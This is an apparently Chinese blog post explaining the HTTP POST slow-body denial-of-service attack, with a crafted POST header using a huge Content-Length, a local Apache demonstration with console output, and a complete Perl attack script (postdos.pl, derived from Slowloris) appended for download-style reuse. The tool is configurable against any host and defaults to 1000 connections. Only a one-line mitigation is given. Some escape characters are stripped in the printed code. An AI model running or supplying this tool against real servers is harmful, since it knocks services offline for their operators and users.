DDOS又称为分布式拒绝服务,全称是Distributed Denial of Service。DDOS本是利用合理的请求造成资源过载,导致服务不可用。比如一个停车场共有100车位,当100车位都停满后,再有车想要停进来,就必须等待已有的车先出去才行。如果已有的车一直不出去,那么停车场的入口就会排气长队,停车场的负荷过载,不能正常工作了,这种情况就是“拒绝服务”。
常见的DDOS攻击有SYN flood、UDP flood、ICMP flood等。其中SYN flood是一种最为经典的DDOS攻击。其利用的是TCP协议设计中的缺陷,属于网络层DDOS,此处先避开不谈。
除了网络层DDOS外,还有应用层DDOS,前面谈过的Slowloris即是其中一种【http://blog.chinaunix.net/uid-26696966-id-3510191.html】,下面接着讨论另外一种应用层DDOS。
在2010年的OWASP大会上,Wong Onn Chee和Tom Brennan演示了一种类似于Slowloris效果的攻击方法,作者称之为HTTP POST D.O.S。其原理是在发送HTTP POST包时,指定一个非常大的Content-Length值,然后以很低的速度发包,比如10~100s发一个字节,保持住这个连接不断开。这样当客户端连接数多了以后,占用住了Web Server的所有可用连接,从而导致DOS。
首先构造一个大Content-Length值的完整请求:
"POST / HTTP/1.1\r\n"
"Host: host\r\n"
"Connection: keep-alive\r\n"
"Keep-Alive: 900\r\n"
"Content-Length: 100000000\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
"Accept: *.*\r\n"
"User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n\r\n";
由于HTTP Requst Header中有设置Keep-Alive,且请求的Method为POST,故服务器在收到该请求后,会等待客户端发送POST数据,此时客户端再以很低的速度向服务器发送数据
z
当构造多个连接后,服务器的连接数很快就会达到上限。其核心代码置于文章底部,记为postdos.pl,下面开始使用该脚本工具演示如何使用POST DOS攻击使Web Server拒绝服务:
一,准备工作
1.在本机安装配置好Apache2.x,设置MaxClients为50
2.在Browser中访问,结果显示正常
3.下载或编写postdos.pl脚本
二,开始阶段
1.正式开始发送大Content-Length的完整请求,攻击Web Server使其拒绝服务。注:因此处我们已将Apache的MaxClients设置为50,故此处使用51个不完整连接已足够,另外,因为Keep-Alive时间为900,故两次发送POST数据的间隔时间timeout控制在小于900的范围即可。
perl postdos.pl -dns 127.0.0.1 -timeout 200 -num 51
Defaulting to port 80.
Defaulting to a 5 second tcp connection timeout.
Multithreading enabled.
Connecting to 127.0.0.1:80 every 200 seconds with 51 sockets:
Building sockets.
Building sockets.
Sending data.
Current stats: PostDos has now sent 275 packets successfully.
This thread now sleeping for 200 seconds...
Sending data.
......
三,验证结果
1.使用chrome或firefox并打开其debug工具,继续访问,则可发型在HttpRequest发出去后,HttpResponse一直没有收到,出于等待状态。
2.成功实施攻击后会留下如下错误日志(Apache):
[Thu Mar 07 16:55:40 2013] [error] server reached MaxClients setting, consider raising the MaxClients setting
总结:由此可知,这种攻击的本质也是针对Apache的MaxClients限制的。要解决此类问题,可以使用Web应用防火墙,或者一个定制的Web Server安全模块。
【注:本文引用了“白帽子讲Web安全”部分定义内容,postdos脚本如下】
-
#!/usr/bin/perl -w
-
use strict;
-
use IO::Socket::INET;
-
use IO::Socket::SSL;
-
use Getopt::Long;
-
use Config;
-
-
$SIG{'PIPE'} = 'IGNORE'; #Ignore broken pipe errors
-
-
my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections );
-
my ( $cache, $ssl, $rand, $tcpto );
-
my $result = GetOptions(
-
'shost=s' => $shost,
-
'dns=s' => $host,
-
'num=i' => $connections,
-
'cache' => $cache,
-
'port=i' => $port,
-
'https' => $ssl,
-
'tcpto=i' => $tcpto,
-
'test' => $test,
-
'timeout=i' => $timeout,
-
'version' => $version,
-
);
-
-
if ($version) {
-
print "Version 0.7n";
-
exit;
-
}
-
-
unless ($host) {
-
print "Usage:nntperl $0 -dns [] -optionsn";
-
print "ntType 'perldoc $0' for help with options.nn";
-
exit;
-
}
-
-
unless ($port) {
-
$port = 80;
-
print "Defaulting to port 80.n";
-
}
-
-
unless ($tcpto) {
-
$tcpto = 5;
-
print "Defaulting to a 5 second tcp connection timeout.n";
-
}
-
-
unless ($test) {
-
unless ($timeout) {
-
$timeout = 100;
-
print "Defaulting to a 100 second re-try timeout.n";
-
}
-
unless ($connections) {
-
$connections = 1000;
-
print "Defaulting to 1000 connections.n";
-
}
-
}
-
-
my $usemultithreading = 0;
-
if ( $Config{usethreads} ) {
-
print "Multithreading enabled.n";
-
$usemultithreading = 1;
-
use threads;
-
use threads::shared;
-
} else {
-
print "No multithreading capabilites found!n";
-
print "Slowloris will be slower than normal as a result.n";
-
}
-
-
my $packetcount : shared = 0;
-
my $failed : shared = 0;
-
my $connectioncount : shared = 0;
-
-
srand() if ($cache);
-
-
if ($shost) {
-
$sendhost = $shost;
-
} else {
-
$sendhost = $host;
-
}
-
-
print "Connecting to $host:$port every $timeout seconds with $connections sockets:n";
-
-
if ($usemultithreading) {
-
domultithreading($connections);
-
} else {
-
doconnections( $connections, $usemultithreading );
-
}
-
-
-
sub doconnections {
-
my ( $num, $usemultithreading ) = @_;
-
my ( @first, @sock, @working );
-
my $failedconnections = 0;
-
$working[$_] = 0 foreach ( 1 .. $num ); #initializing
-
$first[$_] = 0 foreach ( 1 .. $num ); #initializing
-
while (1) {
-
$failedconnections = 0;
-
print "ttBuilding sockets.n";
-
foreach my $z ( 1 .. $num ) {
-
if ( $working[$z] == 0 ) {
-
if ($ssl) {
-
if (
-
$sock[$z] = new IO::Socket::SSL(
-
PeerAddr => "$host",
-
PeerPort => "$port",
-
Timeout => "$tcpto",
-
Proto => "tcp",
-
)
-
)
-
{
-
$working[$z] = 1;
-
}
-
else {
-
$working[$z] = 0;
-
}
-
}
-
else {
-
if (
-
$sock[$z] = new IO::Socket::INET(
-
PeerAddr => "$host",
-
PeerPort => "$port",
-
Timeout => "$tcpto",
-
Proto => "tcp",
-
)
-
)
-
{
-
$working[$z] = 1;
-
$packetcount = $packetcount + 3; #SYN, SYN+ACK, ACK
-
}
-
else {
-
$working[$z] = 0;
-
}
-
}
-
if ( $working[$z] == 1 ) {
-
if ($cache) {
-
$rand = "?" . int( rand(99999999999999) );
-
} else {
-
$rand = "";
-
}
-
my $primarypayload =
-
"POST /$rand HTTP/1.1rn"
-
. "Host: $sendhostrn"
-
. "Connection: keep-alivern"
-
. "Keep-Alive: 900rn"
-
. "Content-Length: 100000000rn"
-
. "Content-Type: application/x-www-form-urlencodedrn"
-
. "Accept: *.*rn"
-
. "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)rnrn";
-
my $handle = $sock[$z];
-
if ($handle) {
-
print $handle "$primarypayload";
-
if ( $SIG{__WARN__} ) {
-
$working[$z] = 0;
-
close $handle;
-
$failed++;
-
$failedconnections++;
-
}
-
else {
-
$packetcount++;
-
$working[$z] = 1;
-
}
-
}
-
else {
-
$working[$z] = 0;
-
$failed++;
-
$failedconnections++;
-
}
-
}
-
else {
-
$working[$z] = 0;
-
$failed++;
-
$failedconnections++;
-
}
-
}
-
}
-
print "ttSending data.n";
-
foreach my $z ( 1 .. $num ) {
-
if ( $working[$z] == 1 ) {
-
if ( $sock[$z] ) {
-
my $handle = $sock[$z];
-
if ( print $handle "z" ) {
-
$working[$z] = 1;
-
$packetcount++;
-
}
-
else {
-
$working[$z] = 0;
-
#debugging info
-
$failed++;
-
$failedconnections++;
-
}
-
}
-
else {
-
$working[$z] = 0;
-
#debugging info
-
$failed++;
-
$failedconnections++;
-
}
-
}
-
}
-
print "Current stats:tPostDos has now sent $packetcount packets successfully.n
-
This thread now sleeping for $timeout seconds...nn";
-
sleep($timeout);
-
}
-
}
-
-
sub domultithreading {
-
my ($num) = @_;
-
my @thrs;
-
my $i = 0;
-
my $connectionsperthread = 50;
-
while ( $i < $num ) {
-
$thrs[$i] =
-
threads->create( &doconnections, $connectionsperthread, 1 );
-
$i += $connectionsperthread;
-
}
-
my @threadslist = threads->list();
-
while ( $#threadslist > 0 ) {
-
$failed = 0;
-
}
-
}
-
-
__END__
阅读(2089) | 评论(0) | 转发(0) |